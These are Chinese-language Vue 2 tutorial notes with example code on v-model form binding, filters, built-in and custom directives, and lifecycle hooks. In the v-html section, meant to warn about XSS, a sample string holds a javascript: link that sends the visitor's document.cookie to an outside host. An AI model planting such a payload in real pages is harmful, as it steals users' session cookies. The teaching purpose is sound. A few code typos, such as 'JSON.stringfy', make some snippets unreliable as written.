目录
收集表单数据
若:<input type="text"/>,则v-model收集的是value值,用户输入就是value值
若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值
若:<input type="checkbox">
- 没有配置input的value属性,那么收集的就是checked(勾选或未勾选,是布尔值)
- 配置input的value值属性:
- v-model的初始值是非数组,那么收集的就是checked(勾选或未勾选)
- v-model的初始值是数组,那么收集的就是value组成的数组
备注:v-model的三个修饰符:
- lazy:失去焦点再收集数据
- number:输入字符串转为有效的数字
- trim:输入首尾空格过滤
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<div id="root">
<form @submit.prevent="demo">
<!-- 用了label后,就绑定了input和账号,点账号就可以聚焦input -->
<!-- <label for="demo">账号</label> -->
账号:<input type="text" v-model.trim="userInfo.account"><br><br>
密码:<input type="password" v-model="userInfo.password"><br><br>
年龄:<input type="number" v-model.number="userInfo.age"><br><br>
性别:
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br><br>
爱好:
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
<br><br>
所属校区
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br><br>
其他信息:
<textarea v-model.lazy="userInfo.other"></textarea>
<br><br>
<input type="checkbox" v-model="userInfo.agree">
阅读并接受<a href="javascript:;">《用户协议》</a> <br><br>
<button>提交</button>
</form>
</div>
</body>
<script>
Vue.config.productionTip=false//阻止vue在启动时生成生产提示
new Vue({
el:'#root',
data:{
userInfo:{
account:'',
password:'',
age:'',
sex:'female',
hobby:[],
city:'beijing',
other:'',
agree:''
}
},
methods:{
demo(){
// alert(1)
// console.log(this.account);
console.log(JSON.stringfy(this.userInfo));
}
}
})
</script>
</html>
过滤器
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)
语法:
- 注册过滤器:Vue.filter(name,callback)或 new Vue(filters:{})
- 使用过滤器:{{xxx|过滤器名}}或v-bind:属性="xxx|过滤器名"
备注:
- 过滤器也可以接收额外参数,多个过滤器也可以串联
- 并没有改变原本的数据,是产生新的对应的数据
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script src="dayjs.min.js"></script>
</head>
<body>
<div id="root">
<h2>显示格式化后的时间</h2>
<!-- 计算属性实现 -->
<h3>现在是:{{fmtTime}}</h3>
<!-- methods实现 -->
<h3>现在是:{{getfmtTime()}}</h3>
<!-- 过滤器实现 -->
<h3>现在是:{{time|timeFormater}}</h3>
<!-- 过滤器实现(传参) -->
<h3>现在是:{{time|timeFormater('YYYY_MM_DD')|mySlice}}</h3>
<h3 :x="msg |mySlice">尚硅谷</h3>
</div>
<div id="root2">
<h2>{{msg|mySlice}}</h2>
</div>
</body>
<script>
Vue.config.productionTip=false//阻止vue在启动时生成生产提示
// 全局过滤器
Vue.filter('mySlice',function(value){
return value.slice(0,4)
})
new Vue({
el:'#root',
data:{
time:1621561377603,//时间戳
msg:'你好,尚硅谷'
},
computed:{
fmtTime(){
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
}
},
methods: {
getfmtTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
},
filters:{
// 局部过滤器
timeFormater(value){
return dayjs(value).format('YYYY年MM日DD日 HH:mm:ss')
},
mySlice(value){
return value.slice(0,4)
}
}
})
new Vue({
el:'#root2',
data:{
msg:'hello!atguigu'
}
})
</script>
</html>
回顾学过的指令
v-bind | 单向绑定解析表达式,可简写为:xxx |
v-model | 双向数据绑定 |
v-for | 遍历数组/对象/字符串 |
v-on | 绑定事件监听,可简写为@ |
v-if | 条件渲染(动态控制节点是否存在) |
v-else | 条件渲染(动态控制节点是否存在) |
v-show | 条件渲染(动态控制节点是否展示) |
v-text指令
作用:向其所在的节点中渲染文本内容
与插值语法的区别:v-text会替换数据中的内容,{{xx}}则不会
<body>
<div id="root">
<div>你好,{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
</body>
<script>
Vue.config.productionTip=false//阻止vue在启动时生成生产提示
new Vue({
el:'#root',
data:{
name:'guigu',
str:'<h3>你好</h3>'
}
})
</script>
v-html指令
1.作用:向指定节点中渲染包含html结构的内容
2.与插值语法的区别:
- v-html会替换掉节点中所有的内容,{{xx}}则不会
- v-html可以识别html结构
3.严重注意:v-html有安全性问题
- 在网络上动态渲染任意HTML是非常危险的,容易导致XSS攻击
- 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!
<body>
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script>
Vue.config.productionTip=false//阻止vue在启动时生成生产提示
new Vue({
el:'#root',
data:{
name:'guigu',
str:'<h3>你好</h3>',
// str2:'<a href=javascript:alert(1)>兄弟我找到你想要的资源了,快来!</a>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>'
}
})
</script>
v-cloak指令(没有值)
- 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
- 使用css属性配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
<style>
[v-cloak]{
display: none;
}
</style>
<body>
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
</body>
<script>
console.log(1);
Vue.config.productionTip=false//阻止vue在启动时生成生产提示
new Vue({
el:'#root',
data:{
name:'atguigu'
}
})
</script>
v-once指令
- v-once所在节点在初次动态渲染后,就视为静态内容了
- 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
<body>
<div id="root">
<h2 v-once>初始化的n值为:{{n}}</h2>
<h2>当前的值为:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script>
Vue.config.productionTip=false//阻止vue在启动时生成生产提示
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
v-pre指令
- 跳过其所在节点的编译过程
- 可利用它跳过,没有使用指令语法,没有使用插值语法的节点,会加快编译
<div id="root">
<h2 v-pre>Vue很简单</h2>
<h2 v-pre>当前的值为:{{n}}</h2>
</div>
自定义指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<!-- 需求:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍 -->
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是: <span v-text="n"></span></h2>
<h2>放大10倍后的n值是:<span v-big="n"></span></h2>
<button @click="n++">点我n++</button>
<!-- 需求:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input
元素默认获取焦点 -->
<hr>
<input type="text" v-fbind="n">
</div>
</body>
<script>
Vue.config.productionTip=false//阻止vue在启动时生成生产提示
new Vue({
el:'#root',
data:{
name:'atguigu',
n:1
},
directives:{
big(element,binding){
// console.log('big');
element.innerText=binding.value*10
// console.log(element,binding);
},
fbind:{
// 指令与元素成功绑定时(一上来)
bind(element,binding){
element.value=binding.value
},
// 指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
// 指令所在的模板被重新解析时
update(element,binding){
element.value=binding.value
}
}
}
})
</script>
</html>
big函数何时会被调用?
- 指令与元素成功绑定时(一上来)
- 指令所在的模板被重新解析时
注意:指令里面的回调函数this指向的是window
自定义指令总结
1.定义语法:
1)局部指令:
directives:{
big(element,binding){
// console.log('big');
element.innerText=binding.value*10
// console.log(element,binding);
},
fbind:{
// 指令与元素成功绑定时(一上来)
bind(element,binding){
element.value=binding.value
},
// 指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
// 指令所在的模板被重新解析时
update(element,binding){
element.value=binding.value
}
}
}
new Vue({directives:{指令名:配置对象}或new Vue({directives{指令名:回调函数}
2)全局指令:
Vue.directive("big", function (element, binding) {
// console.log('big');
element.innerText = binding.value * 10;
// console.log(element,binding);
});
Vue.directive("fbind", {
// 指令与元素成功绑定时(一上来)
bind(element, binding) {
element.value = binding.value;
},
// 指令所在元素被插入页面时
inserted(element, binding) {
element.focus();
},
// 指令所在的模板被重新解析时
update(element, binding) {
element.value = binding.value;
},
});
Vue.directive(指令名,配置对象)或Vue.directive(指令名,回调函数)
2.配置对象中常用的3个回调:
- bind:指令与元素成功绑定时调用
- inserted:指令所在元素被插入页面时调用
- update:指令所在模板结构被重新解析时调用
3.备注:
- 指令定义时不加v-,但使用时要加v-:
- 指令名如果是多个单词,要使用kebab-case命名方式,多个单词用“-”分隔开来,不要用camelcase(驼峰)命名
生命周期
引入
- 又名:生命周期回调函数、生命周期函数、生命周期钩子
- 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
- 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
- 生命周期函数中的this的指向是vm或组件实例对象
<body>
<div id="root">
<h2 v-if="a">你好啊</h2>
<h2 :style="{opacity}">欢迎学习Vue</h2>
</div>
</body>
<script>
Vue.config.productionTip=false//阻止vue在启动时生成生产提示
new Vue({
el:'#root',
data:{
a:false,
opacity:1
},
// Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
mounted() {
console.log('mounted',this);
setInterval(()=>{
this.opacity-=0.01
if(this.opacity<=0)
this.opacity=1
},16)
},
})
</script>
挂载流程
<body>
<div id="root">
<h2>当前的n值为{{n}}</h2>
<button @click="add">点我n+1</button>
</div>
</body>
<script>
Vue.config.productionTip=false//阻止vue在启动时生成生产提示
new Vue({
el:'#root',
// template:'<div><h2>当前的n值为{{n}}</h2><button @click="add">点我n+1</button></div>',
data:{
n:1
},
methods:{
add(){
this.n++
}
},
beforeCreate() {
console.log('beforeCreate');
},
beforeMount() {
console.log('beforeMount')
console.log(this);
debugger;
},
mounted() {
console.log('mounted');
},
})
</script>